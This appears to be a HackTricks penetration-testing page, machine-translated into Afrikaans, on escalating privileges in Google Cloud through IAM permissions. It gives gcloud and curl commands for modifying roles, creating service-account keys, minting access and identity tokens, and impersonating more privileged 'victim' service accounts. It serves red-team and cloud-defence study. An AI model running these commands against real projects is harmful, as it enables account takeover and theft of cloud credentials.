GCP - IAM Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

IAM

Vind meer inligting oor IAM in:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

’n aanvaller met die genoemde toestemmings sal in staat wees om ’n rol wat aan jou toegewys is te wysig en jou ekstra toestemmings vir ander hulpbronne te gee soos:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Jy kan ’n skrip vind om die creation, exploit and cleaning of a vuln environment here te outomatiseer en ’n python-skrip om hierdie privilege te misbruik here. Vir meer inligting, kyk na die original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

Die iam.roles.create-permissie maak die skepping van aangepaste rolle in ’n projek/organisasie moontlik. In die hande van ’n aanvaller is dit gevaarlik omdat dit hulle in staat stel om nuwe stelle permissies te definieer wat later aan entiteite toegeken kan word (byvoorbeeld deur gebruik van die iam.serviceAccounts.setIamPolicy-permissie) met die doel om verhoogde bevoegdhede te verkry.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

’n Aanvaller met die genoemde permissies sal in staat wees om ’n access token wat aan ’n Service Account behoort te versoek, dus is dit moontlik om ’n access token van ’n Service Account met meer voorregte as ons s’n te bekom.

Vir ’n hulpbron-gedrewe variant waar kode wat deur ’n aanvaller beheer word ’n managed Vertex AI Agent Engine runtime token vanaf die metadata service steel en dit hergebruik as die Vertex AI service agent, sien:

GCP - Vertex AI Post Exploitation

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Jy kan ’n skrip vind om die creation, exploit and cleaning of a vuln environment here te outomatiseer en ’n python skrip om hierdie bevoegdheid te misbruik here. Vir meer inligting, sien die original research.

iam.serviceAccountKeys.create

’n aanvaller met die genoemde toestemmings sal in staat wees om ’n gebruikersbestuurde sleutel vir ’n Service Account te skep, wat ons toelaat om as daardie Service Account toegang tot GCP te kry.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Jy kan ’n script vind om die creation, exploit and cleaning of a vuln environment here te outomatiseer en ’n python script om hierdie voorreg te misbruik here. Vir meer inligting, kyk na die original research.

Let wel dat iam.serviceAccountKeys.update sal nie werk om die sleutel van ’n SA te wysig nie, omdat die permissions iam.serviceAccountKeys.create ook benodig word.

iam.serviceAccounts.implicitDelegation

As jy die iam.serviceAccounts.implicitDelegation permission op ’n Service Account het wat die iam.serviceAccounts.getAccessToken permission op ’n derde Service Account het, kan jy implicitDelegation gebruik om create a token for that third Service Account. Hier is ’n diagram om dit te help verduidelik.

Let wel dat volgens die documentation, die delegation van gcloud slegs werk om ’n token te genereer deur die generateAccessToken() method te gebruik. Dus, hier is hoe om ’n token direk met die API te kry:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

Jy kan ’n script vind om die creation, exploit and cleaning of a vuln environment here te outomatiseer en ’n Python-skrip om hierdie voorreg te misbruik here. Vir meer inligting, sien die original research.

iam.serviceAccounts.signBlob

’n aanvaller met die genoemde toestemmings sal in staat wees om arbitrêre payloads in GCP te teken. Dit sal dus moontlik wees om ’n ongetekende JWT van die SA te skep en dit dan as ’n blob te stuur sodat die SA wat ons teiken die JWT teken. Vir meer inligting, read this.

Jy kan ’n script vind om die creation, exploit and cleaning of a vuln environment here te outomatiseer en ’n Python-skrip om hierdie voorreg te misbruik here en here. Vir meer inligting, sien die original research.

iam.serviceAccounts.signJwt

’n aanvaller met die genoemde toestemmings sal in staat wees om goedgevormde JSON web tokens (JWTs) te teken. Die verskil met die vorige metode is dat in plaas daarvan dat google ’n blob wat ’n JWT bevat teken, ons die signJWT-metode gebruik wat reeds ’n JWT verwag. Dit maak dit makliker om te gebruik, maar jy kan slegs JWT’s teken en nie ewekansige bytes nie.

Jy kan ’n script vind om die creation, exploit and cleaning of a vuln environment here te outomatiseer en ’n Python-skrip om hierdie voorreg te misbruik here. Vir meer inligting, sien die original research.

iam.serviceAccounts.setIamPolicy

’n aanvaller met die genoemde toestemmings sal in staat wees om IAM-beleid by service accounts te voeg. Jy kan dit misbruik om jouself die toestemmings te gee wat jy nodig het om die service account te impersonate. In die volgende voorbeeld gee ons onsself die rol roles/iam.serviceAccountTokenCreator oor die relevante SA:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Jy kan ’n skrip vind om die creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

Die iam.serviceAccounts.actAs permission is soos die iam:PassRole permission from AWS. Dit is noodsaaklik vir die uitvoering van take, soos die inisieer van ’n Compute Engine-instantie, aangesien dit die vermoë gee om “actAs” ’n Service Account, en sodoende veilige toestemmingbestuur verseker. Sonder dit kan gebruikers ongeregverdigde toegang kry. Daarbenewens behels die misbruik van iam.serviceAccounts.actAs verskeie metodes, elk wat ’n stel permissies vereis, in teenstelling met ander metodes wat net een benodig.

Service account impersonation

Om as ’n service account op te tree kan baie nuttig wees om nuwe en beter voorregte te verkry. Daar is drie maniere waarop jy impersonate another service account:

  • Outentisering using RSA private keys (hierbo behandel)
  • Gemagtiging using Cloud IAM policies (hier behandel)
  • Deploying jobs on GCP services (meer van toepassing op die kompromittering van ’n gebruikersrekening)

iam.serviceAccounts.getOpenIdToken

’n Aanvaller met die genoemde permissies sal in staat wees om ’n OpenID JWT te genereer. Hierdie tokens word gebruik om identiteit te bevestig en dra nie noodwendig enige implisiete magtiging teen ’n hulpbron nie.

Volgens hierdie interesting post, is dit nodig om die audience (diens waarheen jy die token wil gebruik om te autentiseer) aan te dui, en jy sal ’n JWT ontvang wat deur google geteken is wat die service account en die audience van die JWT aandui.

Jy kan ’n OpenIDToken genereer (as jy toegang het) met:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Dan kan jy dit net gebruik om toegang tot die diens te kry met:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Sommige dienste wat verifikasie via hierdie soort tokens ondersteun, is:

Jy kan ’n voorbeeld vind van hoe om ’n OpenID token namens ’n service account te skep here.

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks